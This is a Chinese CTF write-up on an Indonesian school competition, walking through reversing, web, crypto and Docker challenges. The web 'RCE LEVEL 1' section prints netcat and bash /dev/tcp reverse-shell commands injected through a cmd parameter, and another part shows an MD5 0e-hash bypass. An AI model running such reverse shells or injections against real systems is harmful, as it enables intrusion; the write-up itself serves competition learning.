SMK WALISONGO 2 GEMPOL网络安全竞赛

admin 2024年2月21日22:47:14评论8 views字数 5212阅读17分22秒阅读模式

竞赛背景

第一次参加别的国家的比赛,这个比赛比较小众,也没几个人参加,貌似是属于印度尼西亚某个学校组织的,题目也比较奇特,第一次见到docker题目,社工题一题都没做,值得一提的是,社工题最后一题是关于寻找一个中国的cosplayer的信息的。

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

另外的取证题目,个人感觉和misc没什么差别,不过我没做出来。

Reverse Engineering

I/O

File dibawah ini menampilkan output yang salah coba perbaiki hingga menampilkan output yang benar....

这个题目下载下来是一个c语言源代码文件,老实说,感觉这算不上逆向了。

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

就是greetings进行替换字符,稍微懂一点c语言的人应该都可以做出来,

执行一下就可以看到flag了

greetings= list("w9{Str1NgnM0d1fyiw1thlGr3et1ngs}")
greetings[0] = 'W'
greetings[3] = '5'
greetings[5] = 'R'
greetings[7] = 'n'
greetings[8] = 'G'
greetings[9] = '_'
greetings[11] = 'o'
greetings[12] = 'D'
greetings[14] = 'F'
greetings[16] = '_'
greetings[17] = 'W'
greetings[20] = 'H'
greetings[21] = '_'
greetings[24] = 'e'
greetings[25] = '3'
greetings[27] = 'I'
greetings[29] = 'G'
print("".join(greetings))

pyverse

hint:Kamu pasti bisa.....

压缩包下载之后有两个文件,一个是python代码,一个是txt文件

python代码

import base64, marshal
exec(base64.b64decode(bytes(marshal.loads(b'ax9cx01x00x00CmZsYWcgPSAiIi5qb2luKG9wZW4oImZsYWcudHh0IikucmVhZGxpbmVzKCkpLnJlcGxhY2UoIlxuIiwgIiIpCgpzYWx0ID0gMTIxCmRlbGltaXR0ZXIgPSAiQCIKCnggPSBbXQoKZm9yIGkgaW4gZmxhZzoKCXguYXBwZW5kKGJhc2U2NC5iNjRlbmNvZGUoYnl0ZXMoc3RyKG9yZChpKSAtIHNhbHQpLCAnVVRGLTgnKSkuZGVjb2RlKCkpCgl4LmFwcGVuZChkZWxpbWl0dGVyKQoKZmxhZyA9IG9wZW4oImZsYWcudHh0IiwgInciKQoKZmxhZy53cml0ZShiYXNlNjQuYjY0ZW5jb2RlKGJ5dGVzKCIiLmpvaW4oeCksICdVVEYtOCcpKS5kZWNvZGUoKSkK'), 'utf-8')).decode())

txt文件

TFRNMEBMVFkwQE1nPT1ATFRjPUBMVGN3QExUTTFATFRjd0BMVGM9QExUWTRATFRjd0BMVEkyQExUY3dATFRFeEBMVFV3QExUY3lATFRFeEBMVGN3QExUY3dATFRjPUBMVGN5QExUUTRATFRRekBMVFV3QExUSTJATFRjeUBMVFU9QExUTTJATFRJMkBMVFEwQExUUT1ATFRJeEBMVFk1QExURTNATFRJMkBMVEl4QExUWTVATFRFeEBMVEkyQExUUTBATFRjd0BMVEV4QE1BPT1ATFRjd0BMVEV4QExUWTVATFRFeEBMVEU0QExURTBATFRZNUBMVEV4QE5BPT1A

关于python代码的解析

exec是执行函数,将里面的字符进行base64解码,并且执行,其实最终运行的代码,就是那一串字符,内容如下

import base64, marshal
flag = "".join(open("flag.txt").readlines()).replace("n""")
print(flag)
salt = 121
delimitter = "@"
x = []
for i in flag:
    x.append(base64.b64encode(bytes(str(ord(i) - salt), 'UTF-8')).decode())
    x.append(delimitter)
flag = open("flag.txt""w")
flag.write(base64.b64encode(bytes("".join(x), 'UTF-8')).decode())

flag.txt原本的内容应该是flag,经过上面的代码进行加密,并且重新写入flag.txt文件,加密的代码就是上面的代码,我对其进行了逆向解析,下面是逆向代码

import base64, marshal
flag = "".join(open("flag.txt").readlines()).replace("n""")
print(flag)
salt = 121
delimitter = "@"
m=base64.b64decode(flag).decode().split('@')
print(m)
for i in m:
    if i!='':
        print(chr(int(base64.b64decode(i))+salt),end="")

然后输出的确是一串乱码,此题到此无思路了

web

Nice to meet you

f12直接看源代码,就可以看到flag了

MAGIC

题目内容:

<?php
include('flag.php');

if($_GET['x'] != $_GET['y']){
    if(md5($_GET['x']) == md5($_GET['y'])){
        echo FLAG;
        die();
    }
}

highlight_file(__FILE__);

其实就是md5函数绕过,不知道为什么使用数组绕过(?x[0]=1&y[0]=2)会显示500状态码(还请知道的师傅指教一下),于是我采用0e绕过(x=s1091221200a&y=s878926199a)

RCE LEVEL 1

我觉的这一题比较有意思,涉及web与linux的一些知识

打开网页显示

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

猜测是cmd参数的rce命令注入,于是传入system(ls);发现没有用,直接输入ls,回显当前目录下的文件

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

Hint文件的内容:

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

给出了一个账户和密码,并且提示使用反弹shell

index.php文件显示的内容

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

通过ls -ahl查看目录下的文件权限,以及所属的用户及用户组

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

html文件权限如下

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

尝试反弹shell

通过bash反弹反弹不成功,不知道为什么(有知道的师傅可以告诉我一下),于是我采用了nc反弹

攻击机监听端口:nc -lvp 7777

靶机上面cmd传递参数:nc -e /bin/bash x.x.x.x port

由于nc反弹在切换命令的时候没有回显

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

所以我在tmp目录下写入shell脚本,执行bash反弹

echo 'bash -i >& /dev/tcp/xxxxxxx/5555 0>&1'>/tmp/3.sh

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

根目录存在flag文件夹,但是没有权限,只有flag用户有权限查看,所以上面给出的flag用户和密码在此时就可以使用了

su切换到flag用户

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

成功拿到flag

CRYPTOGRAPHY

Dots N D4sh3s

这个题目,看到附件名就想到摩尔斯代码了

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

txt打开之后的样子

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

查看一下二进制数据

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

没啥好说的复制直接解码

- --- .-.. --- -. --. / .- -.- ..- / .-- .- .... .- .. / -.. .. .-. .. -- ..- / ---... ----- .---- ----- .---- ----- .---- .---- .---- / ----- ----- .---- .---- .---- ----- ----- .---- / ----- .---- .---- .---- .---- ----- .---- .---- / ----- ----- .---- .---- .---- ----- ----- .---- / ----- ----- .---- .---- ----- .---- ----- ----- / ----- .---- .---- ----- ----- ----- .---- ----- / ----- .---- .---- .---- ----- .---- ----- .---- / ----- .---- ----- .---- ----- .---- ----- ----- / ----- .---- ----- .---- .---- .---- .---- .---- / ----- .---- .---- .---- .---- ----- ----- .---- / ----- ----- .---- .---- ----- .---- ----- ----- / ----- .---- ----- .---- .---- .---- .---- .---- / ----- .---- .---- ----- .---- ----- .---- .---- / ----- ----- .---- .---- ----- .---- ----- ----- / ----- ----- .---- .---- ----- .---- ----- .---- / ----- ----- .---- .---- ----- ----- ----- .---- / ----- ----- .---- .---- ----- .---- ----- ----- / ----- .---- .---- ----- .---- .---- .---- ----- / ----- .---- .---- .---- .---- .---- ----- .----

解码后的内容

TOLONG  AKU  WAHAI  DIRIMU  :01010111  00111001  01111011  00111001  00110100  01100010  01110101  01010100  01011111  01111001  00110100  01011111  01101011  00110100  00110101  00110001  00110100  01101110  01111101

前半部分不知道是什么,后面是一堆二进制数据,尝试对二进制数据进行解码:

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

直接出flag,解码所用的网站:https://cyberchef.org/

CHIPER

题目描述就给了一个密码:Password: walisongo

下载txt附件,打开之后的内容是一堆乱码

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

开始的时候打算更换编码,把能试的编码几乎试了个遍,也没啥用

二进制内容如下

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

开始的时候以为是二进制数据进行某种变换才能看到正常内容,但是无从下手,于是通过cyberchef网站手动尝试,给试出来了

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

DOCKER

Docker 1

题目描述:

Install docker dan load images yang telah disediakan lalu jalankan images tersebut !!!

题目提示:Jangan lupa menambahkan Interactive TTY

关于tty是什么,我也是百度之后知道的,大概就是终端仿真器什么的吧。。。。这时就需要在运行镜像的时候加入-t参数了

附件名是docker1.tar,就是下载下来安装这个docker镜像

输入命令:docker load --input docker1.tar就可以安装这个镜像了

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

然后执行:docker images 就可以看到这个镜像的名字了

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

run一下,

命令:docker run -td docker1

然后docker ps并没有看到这个容器,于是docker ps -a查看全部容器,发现这个容器没有运行成功

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

运行失败就看一下日志

SMK WALISONGO 2 GEMPOL网络安全竞赛
img

flag在日志里面

原文始发于微信公众号(剑外思归客):SMK WALISONGO 2 GEMPOL网络安全竞赛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月21日22:47:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SMK WALISONGO 2 GEMPOL网络安全竞赛https://cn-sec.com/archives/2508867.html

发表评论

匿名网友 填写信息